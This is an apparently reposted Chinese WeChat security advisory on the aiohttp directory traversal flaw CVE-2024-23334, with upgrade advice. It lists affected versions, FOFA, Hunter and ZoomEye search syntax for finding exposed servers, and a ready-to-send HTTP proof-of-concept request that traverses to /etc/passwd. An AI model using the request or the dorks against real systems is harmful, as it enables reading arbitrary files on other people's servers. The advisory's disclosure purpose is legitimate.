声明：该公众号大部分文章来自作者日常学习笔记，也有部分文章是经过作者授权和其他公众号白名单转载，禁止私自转载。如需转载，请联系作者！！！！
请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关！！！！！
漏洞介绍
aiohttp是一个Python的HTTP客户端/服务器框架，它基于asyncio库实现异步编程模型，可以支持高性能和高并发的HTTP通信。aiohttp用于编写异步的Web服务器、Web应用程序或HTTP客户端，以提供对Web和HTTP资源的访问和操作。近日监测到aiohttp目录遍历漏洞的漏洞情报,aiohttp使用选项"follow_symlinks"来决定是否跟踪静态根目录之外的符号链接。当"follow_symlinks "设置为 "True "时,将不会验证读取的文件是否在根目录内从而导致目录遍历，攻击者可以利用此漏洞访问系统上的任意文件。
影响版本
1.0.5 <aiohttp < 3.9.2漏洞情报
搜索引擎语法
fofa:app="aiohttp"hunter: app.name="aiohttp"钟馗之眼：app:"aiohttp"
Poc
GET /static/../../../../../../etc/passwd HTTP/1.1Host: xxxxxUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
修复建议
官方已发布修复建议，建议受影响的用户尽快升级至安全版本。下载地址：https://github.com/aio-libs/aiohttp/tags
关注我们
原文始发于微信公众号（极星信安）：安全情报，aiohttp存在目录遍历漏洞（CVE-2024-23334）！！！
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论